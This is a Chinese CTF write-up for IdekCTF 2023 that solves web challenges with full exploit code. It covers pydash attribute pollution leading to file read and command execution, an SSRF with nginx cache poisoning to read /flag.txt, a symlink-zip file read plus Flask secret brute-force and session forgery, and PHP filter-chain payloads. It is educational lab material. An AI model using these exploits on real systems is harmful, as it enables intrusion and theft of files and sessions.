2023-IdekCTF-Writeup

admin 2024年10月29日00:11:18评论13 views字数 17926阅读59分45秒阅读模式

2023 IdekCTF Writeup

由于对xss不是很懂所以一般都是做的非xss部分,很高兴最终被强大的队友带飞下拿到第二名

2023-IdekCTF-Writeup

环境

环境可以在我的仓库下,备份了Dockerfile,可以本地搭建自己学习

https://github.com/Y4tacker/CTFBackup/tree/main/2023/IdekCTF

Task Manager

一个python写的好看的TODO LIST

2023-IdekCTF-Writeup

那么我们具体来看看如何实现,这里重点看,通过json传入task与status两个参数,不同参数条件进入不同分支,通过tasks对象实现了基本的功能

12345678910111213141516171819202122
@app.route("/api/manage_tasks", methods=["POST"])def manage_tasks():    task, status = request.json.get('task'), request.json.get('status')    try:        if not task or type(task) != str:            return {"message": "You must provide a task name as a string!"}, 400        if len(task) > 150:            return {"message": "Tasks may not be over 150 characters long!"}, 400        if status and len(status) > 50:            return {"message": "Statuses may not be over 50 characters long!"}, 400        if not status:            tasks.complete(task)            return {"message": "Task marked complete!"}, 200        if type(status) != str:            return {"message": "Your status must be a string!"}, 400        if tasks.set(task, status):            return {"message": "Task updated!"}, 200        return {"message": "Invalid task name!"}, 400    except Exception as e:        # e.        print(e)        return {"message": str(e)}, 200

那这个tasks对象又是个啥呢?如下2333,很明显给你提示了protected里面存在一些骚东西,看着是很像SSTI

123456789101112131415161718192021222324252627
import pydashclass TaskManager:    protected = ["set", "get", "get_all", "__init__", "complete"]    def __init__(self):        self.set("capture the flag", "incomplete")    def set(self, task, status):        if task in self.protected:            return        pydash.set_(self, task, status)        return True    def complete(self, task):        if task in self.protected:            return        pydash.set_(self, task, False)        return True    def get(self, task):        if hasattr(self, task):            return {task: getattr(self, task)}        return {}    def get_all(self):        return self.__dict__

同时我们再看看这个set_方法,看doc它支持一些链式调用

2023-IdekCTF-Writeup

但是也不是无敌的不像我们传统SSTI那样,它只能操作一些属性,而不能调用方法,同时他的操作对象是这个TaskManager类,同时由于代码限制我们只能为其赋值为string类型,这种思想就有点类似js当中原型链污染的感觉了

同时我们再回到app.py,如果app.env值是yojo,则会向全局模板函数中增加一个eval,通过add_template_global以后我们就能在模板里使用{{eval(payload)}}函数触发

1234
@app.before_first_requestdef init():    if app.env == "yojo":        app.add_template_global(eval)

那么现在重点就是如何通过TaskManager的实例对象获取到我们flask的app对象

有了这个一方面我们可以设置env,另一方面我们还可以控制before_first_request(毕竟这个只会在第一次加载时运行)

最终在python的debugger下通过点点点最终找到了这个app对象

2023-IdekCTF-Writeup

其中_got_first_request可以控制@app.before_first_request的运行

2023-IdekCTF-Writeup

非预期读文件

看看Dockerfile里面

1234567891011121314151617
FROM python:3.8.16-slim-bullseyeRUN apt update && apt install -y xxdRUN python3 -m pip install flask pydashRUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txtRUN useradd ctfUSER ctfWORKDIR /appCOPY . .ENTRYPOINT ["python3", "app.py"]

最后调用COPY . .复制了所有的文件,看看文件结构这也就以为着把Dockerfile自身也复制进去了2333

2023-IdekCTF-Writeup

姿势1

可以看到这里有个_static_url_path属性,这是啥目录大家都知道一些静态资源文件都放下面

2023-IdekCTF-Writeup

那么如果我们设置app._static_folder/ 接着访问 /static/etc/passwd

1
{"task":"__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._static_folder","status":"/"}

任意文件读

2023-IdekCTF-Writeup

姿势2

从app.py当中看

123456
@app.route("/<path:path>")def render_page(path):    app._got_first_request = False    if not os.path.exists("templates/" + path):        return "not found", 404    return render_template(path)

如果我们访问/../app.py会怎么样呢,很显然报错了

2023-IdekCTF-Writeup

我们可以看看flask的实现代码,在jinja2.loaders.FileSystemLoader.get_source

在这里首先通过split_template_path处理路径

2023-IdekCTF-Writeup

如果我们路径当中带有..可以看到由于和os.path.pardir相等,导致抛出TemplateNotFound异常,也就是不允许跨目录

2023-IdekCTF-Writeup

那如果我们污染了os.path.pardir那么这里就通过了条件,不会拦截

2023-IdekCTF-Writeup

成功实现了跨目录读

2023-IdekCTF-Writeup

预期RCE

同时这里还有一个jinja_env属性我们可以看到很多有趣的属性比如auto_reload,这里还有识别模板的{%%}以及{{}}

2023-IdekCTF-Writeup

2023-IdekCTF-Writeup

姿势1

那么到了这里如果我们能找到一个py文件,这个py文件里面有eval函数,那是不是我们就能成功rce了呢?这部分我和队友一直没找到,最后出题人提供了答案,在/usr/local/lib/python3.8/turtle.py

2023-IdekCTF-Writeup

那么如果我们控制修改这个模板的标签,再配合污染os.path.pardir,那么是不是就能渲染任意文件顺利RCE了呢

2023-IdekCTF-Writeup

提供一个出题人的exp

1234567891011121314151617181920212223242526272829303132333435363738
import requestsimport rebase_url = "http://localhost:1337"#base_url = "https://task-manager-dc512c530573c0b4.instancer.idek.team"hijack_start = """'""']:\n            value = """hijack_end = "\n"payloads = {        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env": "yolo",        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value": "__import__('os').popen('cat /flag-*.txt').read()",        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string": hijack_start,        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string": hijack_end,        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir": "ZZZ",        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request": None,}def overwrite(attr, value):    data = {"task": attr, "status": value}    requests.post(base_url + "/api/manage_tasks", json=data)def get_flag():    url = base_url + "/../../usr/local/lib/python3.8/turtle.py"    s = requests.Session()    r = requests.Request(method='GET', url=url)    prep = r.prepare()    prep.url = url    r = s.send(prep)    flag = re.findall('idek{.*}', r.text)[0]    print(flag)for k, v in payloads.items():    overwrite(k, v)get_flag()
姿势2

学习自国外友人https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

从编译入手很秀,在生成模板的过程中jinja2.compiler.CodeGenerator.visit_Template

如果我们污染了exported变量那么就可以控制模板的生成

2023-IdekCTF-Writeup

正好是可以的

2023-IdekCTF-Writeup

之后访问渲染任意模板的时候就能触发RCE,很厉害!

Proxy viewer

比较有意思的题目,首先看看app.py中关键路由部分

123456789101112131415161718192021222324252627282930313233
app = Flask(        __name__,        static_url_path='/static',        static_folder='./static',        )PREMIUM_TOKEN = os.urandom(32).hex()limiter = Limiter(app, key_func=get_remote_address)@app.after_requestdef add_headers(response):    response.cache_control.max_age = 120    return response@app.route('/')def index():    return render_template('index.html')@app.route('/proxy/<path:path>')@limiter.limit("10/minute")def proxy(path):    remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addr    is_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0.1"    try:        page = urlopen(path, timeout=.5)    except:        return render_template('proxy.html', auth=is_authorized)    if is_authorized:        output = page.read().decode('latin-1')    else:        output = f"<pre>{page.headers.as_string()}</pre>"    return render_template('proxy.html', auth=is_authorized, content=output)

其中比较关键的是这个/proxy路由,存在一个ssrf漏洞,但是必须is_authorizedtrue才会返回全部结果,否则只返回响应头

另一个关键的地方就是nginx的配置,可以看见如果以/static/开头那么就会缓存对应页面内容

同时可以看到对/开头的所有请求都会增加一个XFF头,因此对于上面的remote_addr我们无法进行伪造,因为nginx对此处理是追加ip,比如(XFF:127.0.0.1,readlip)

12345678910111213141516171819202122232425262728
events {    worker_connections 1024;}http {    include mime.types;    proxy_cache_path /tmp/nginx keys_zone=my_zone:10m inactive=60m use_temp_path=off;    server {        listen 1337;        client_max_body_size 64M;        location / {            proxy_set_header Host $http_host;            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;            proxy_pass http://localhost:3000;        }        location ^~ /static/ {            proxy_pass http://localhost:3000;            proxy_set_header Host $http_host;            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    proxy_cache my_zone;    add_header X-Proxy-Cache $upstream_cache_status;        }    }}

这里还要用到一个trick就是,urlopen内部处理时会在urllib.request.Request.full_url中去除#后面部分

12345678910111213
@full_url.setterdef full_url(self, url):  # unwrap('<URL:type://host/path>') --> 'type://host/path'  self._full_url = unwrap(url)  self._full_url, self.fragment = _splittag(self._full_url)  self._parse()def _splittag(url):    """splittag('/path#tag') --> '/path', 'tag'."""    path, delim, tag = url.rpartition('#')    if delim:        return path, tag    return url, None

因此配合这个trick,我们先访问

1
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a

此时flask会把file%3a///flag.txt%2523/../../../static/a整体当作

而nginx则会对url做normalize处理,最终导致nginx识别请求为http://127.0.0.1:1337/static/a

2023-IdekCTF-Writeup

再访问即可触发缓存

1
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a

2023-IdekCTF-Writeup

SimpleFileServer

也是python的flask的题目

可以看到获得flag的条件,那就是成为admin,所以很容易猜测到考点是session伪造,而flask里面这个session的生成通常和变量app.config["SECRET_KEY"]息息相关

12345
@app.route("/flag")def flag():    if not session.get("admin"):        return "Unauthorized!"    return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")

因此一切的前提是我们能获得这个SECRET_KEY

1
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]

而这部分生成在config.py当中

123
SECRET_OFFSET = 0 # REDACTEDrandom.seed(round((time.time() + SECRET_OFFSET) * 1000))os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

要爆破这部分很明显一是我们需要知道这个time.time()的值,另一个还需要知道SECRET_OFFSET的偏移

除开注册与登录路由,upoad支持上传一个zip文件并解压到指定目录

12345678910111213141516171819
@app.route("/upload", methods=["GET", "POST"])def upload():    if not session.get("uid"):        return redirect("/login")    if request.method == "GET":        return render_template("upload.html")    if "file" not in request.files:        flash("You didn't upload a file!", "danger")        return render_template("upload.html")    file = request.files["file"]    uuidpath = str(uuid.uuid4())    filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"    file.save(filename)    subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])        flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")    logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")    return redirect("/upload")

uploads/xxx路由支持我们之间读取上传解压后的文件内容

123456
@app.route("/uploads/<path:path>")def uploads(path):    try:        return send_from_directory(DATA_DIR + "uploads", path)    except PermissionError:        abort(404)

这个读文件部分按理说只能读取uploads下的文件,看看底层实现用的是safe_join不支持跨目录读取

2023-IdekCTF-Writeup

可以看到在这里获取路径path后,最终调用open打开文件并返回内容

2023-IdekCTF-Writeup

解决方法是可以配合symlink软连接实现任意文件读,这样我们一方面可以读config.py获取SECRET_OFFSET

另一方面为了得到时间

可以看到题目很良心的在server.log当中输出了time

12345678910
# Configure loggingLOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))logger = logging.getLogger("application")logger.addHandler(LOG_HANDLER)logger.propagate = Falsefor handler in logging.root.handlers[:]:    logging.root.removeHandler(handler)logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')logging.getLogger().addHandler(logging.StreamHandler())

不过这个时间不是精确的,通过转换为时间戳我们只能精确到整数部分,不过好在这里随机数的seed是配合round做了取整因此我们就能很容易实现爆破了

2023-IdekCTF-Writeup

我们可以很方便配合这个信息得到time.time()的值

本地ln做一个symlink的文件

2023-IdekCTF-Writeup

之后爆破到SECRET_KEY后,修改admin为true再生成session即可

1
decoded = {'admin': True, 'uid': userinfo['username']}

最终exp,配合flask_unsign

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
import base64import requests, re, time, datetime, randomimport flask_unsignsess = requests.session()SECRET_OFFSET = -67198624 * 1000userinfo = {"username": "yyds", "password": "yyds"}baseurl = "http://127.0.0.1:1337/"pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA"cookie = ""log_url = ""def register():    reg_url = baseurl + "register"    sess.post(reg_url, userinfo)def login():    global cookie    set_cookie = sess.post(baseurl + "login", data=userinfo, allow_redirects=False).headers['Set-Cookie']    cookie = set_cookie[8:82]def upload():    global log_url    log_url = re.search('<a href="/uploads/.*">', sess.post(        baseurl + "upload", headers={'Cookie': f'session={cookie}'},        files={'file': base64.b64decode(pocZip)}).text).group()[9:-2]def read():    server_log = baseurl + log_url + "/server.log"    config = baseurl + log_url + "/config.py"    SECRET_OFFSET = int(re.findall("SECRET_OFFSET = (.*?) # REDACTED", sess.get(config).text)[0]) * 1000    log = sess.get(server_log).text    now = (time.mktime(datetime.datetime.strptime(log.split('\n')[0][1:20], "%Y-%m-%d %H:%M:%S").timetuple())) * 1000    return SECRET_OFFSET,nowif __name__ == '__main__':    register()    login()    upload()    SECRET_OFFSET, now = read()    while 1:        decoded = {'admin': True, 'uid': userinfo['username']}        random.seed(round(now + int(SECRET_OFFSET)))        SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")        flag_url = baseurl + "flag"        res = sess.get(flag_url, headers={'Cookie': f'session={flask_unsign.sign(decoded, SECRET_KEY)}'}).text        if "idek" not in res:            now += 1            print(now)            continue        print(res)        break

ReadMe

很简单签到题,算是个逻辑漏洞问题

这个程序中只有一个路由

1
http.HandleFunc("/just-read-it", justReadIt)

首先简单看一下可以得出程序逻辑如果能成功走到justReadIt函数最下方就能获得flag

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152
func justReadIt(w http.ResponseWriter, r *http.Request) {defer r.Body.Close()body, err := ioutil.ReadAll(r.Body)if err != nil {w.WriteHeader(500)w.Write([]byte("bad request\n"))return}reqData := ReadOrderReq{}if err := json.Unmarshal(body, &reqData); err != nil {w.WriteHeader(500)w.Write([]byte("invalid body\n"))return}if len(reqData.Orders) > MaxOrders {w.WriteHeader(500)w.Write([]byte("whoa there, max 10 orders!\n"))return}reader := bytes.NewReader(randomData)validator := NewValidator()ctx := context.Background()for _, o := range reqData.Orders {if err := validator.CheckReadOrder(o); err != nil {w.WriteHeader(500)w.Write([]byte(fmt.Sprintf("error: %v\n", err)))return}ctx = WithValidatorCtx(ctx, reader, int(o))_, err := validator.Read(ctx)if err != nil {w.WriteHeader(500)w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))return}}if err := validator.Validate(ctx); err != nil {w.WriteHeader(500)w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))return}w.WriteHeader(200)w.Write([]byte(os.Getenv("FLAG")))}

我们一点一点来看,首先是接受了一个传来的json数据,解析保存到reqData当中,从下面可以看出只接收一个完全由数字组成的int数组,字段名叫orders

123
type ReadOrderReq struct {Orders []int `json:"orders"`}

之后会用randomData初始化一个reader

1
reader := bytes.NewReader(randomData)

而这个randomData则是由initRandomData函数初始化,记住这个password复制在了12625之后

12345678
func initRandomData() {rand.Seed(1337)randomData = make([]byte, 24576)if _, err := rand.Read(randomData); err != nil {panic(err)}copy(randomData[12625:], password[:])}

初始化之后会遍历reqData.Orders

调用CheckReadOrder检查oders中的int值范围是否在0-100

123456
func (v *Validator) CheckReadOrder(o int) error {if o <= 0 || o > 100 {return fmt.Errorf("invalid order %v", o)}return nil}

之后根据数值读出指定位数的值

12
ctx = WithValidatorCtx(ctx, reader, int(o))_, err := validator.Read(ctx)

再往下就是最关键的地方,如果这里的validate校验过了才能拿到flag

12345678
if err := validator.Validate(ctx); err != nil {w.WriteHeader(500)w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))return}w.WriteHeader(200)w.Write([]byte(os.Getenv("FLAG")))

这个函数功能就是读32位,之后与password比较,成功返回true,而我们前面说过这个password复制在了12625之后,并且oders数组容量最多只能有10个数字

1234567891011
func (v *Validator) Validate(ctx context.Context) error {r, _ := GetValidatorCtxData(ctx)buf, err := v.Read(WithValidatorCtx(ctx, r, 32))if err != nil {return err}if bytes.Compare(buf, password[:]) != 0 {return errors.New("invalid password")}return nil}

就算全取最大100,10个也才1000,距离我们的12625还差很远

再往前看发现read之前

123456789
func (v *Validator) Read(ctx context.Context) ([]byte, error) {r, s := GetValidatorCtxData(ctx)buf := make([]byte, s)_, err := r.Read(buf)if err != nil {return nil, fmt.Errorf("read error: %v", err)}return buf, nil}

有这样一个调用,如果size大于等于100会调用一个bufio.NewReader

12345678
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {reader := ctx.Value(reqValReaderKey).(io.Reader)size := ctx.Value(reqValSizeKey).(int)if size >= 100 {reader = bufio.NewReader(reader)}return reader, size}

这个defaultBufSize是4096

1234
// NewReader returns a new Reader whose buffer has the default size.func NewReader(rd io.Reader) *Reader {return NewReaderSize(rd, defaultBufSize)}

最终

2023-IdekCTF-Writeup

Paywall

想看原理的移步陆队之前写的,我是脚本小子

https://tttang.com/archive/1395/

本题是用php实现的一个blog系统,除开样式读取核心代码非常简单

12345678910111213141516171819202122
<?php        error_reporting(0);        set_include_path('articles/');        if (isset($_GET['p'])) {            $article_content = file_get_contents($_GET['p'], 1);            if (strpos($article_content, 'PREMIUM') === 0) {                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions            }            else if (strpos($article_content, 'FREE') === 0) {                echo "<article>$article_content</article>";                die();            }            else {                die('nothing here');            }        }    ?>

可以看到,对于文章内容前是PREMIUM的不能读取,FREE的则可以读

很可惜我们的flag文件恰好前面也是PREMIUM,那么要想读取这个文件很显然我们可以配合php的filter构造出FREE四个字母也就可以实现读取了

2023-IdekCTF-Writeup

下面是工具

https://github.com/synacktiv/php_filter_chain_generator

https://github.com/WAY29/php_filter_chain_generator

发现直接生成出来的虽然有FREE,但是都无法看了

1
FREE�B�5$TԕT���FV��F�F��U�E�7V'65##�u�C��W%��7w5�W"����>==�@C������>==�@

然而发现把每个环节的convert.iconv.UTF8.UTF7去掉

就可以变成明文了,脚本小子表示很神奇,最后为了不丢失符号(毕竟Base64字符里面没有一些特殊符号!{}!之类的),因此第一步事先base64enccode一下

最终得到payload

1
http://127.0.0.1/?p=php://filter/convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode/resource=flag

但是根据这样构造本地发现会少最后三个字符,除开}符号还剩两个

看看题目描述可以猜出最后俩字符,Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPPaper,最后一个字母肯定是个符号所以是!

1
idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}

2023-IdekCTF-Writeup

当然最后发现工具也可以直接用,注意后面有俩空格

1
python php_filter_chain_generator.py --chain 'FREE  '

得到

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

本脚本小子觉得很有意思就是了

2023-IdekCTF-Writeup

- source:y4tacker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:11:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023-IdekCTF-Writeuphttps://cn-sec.com/archives/3314669.html

发表评论

匿名网友 填写信息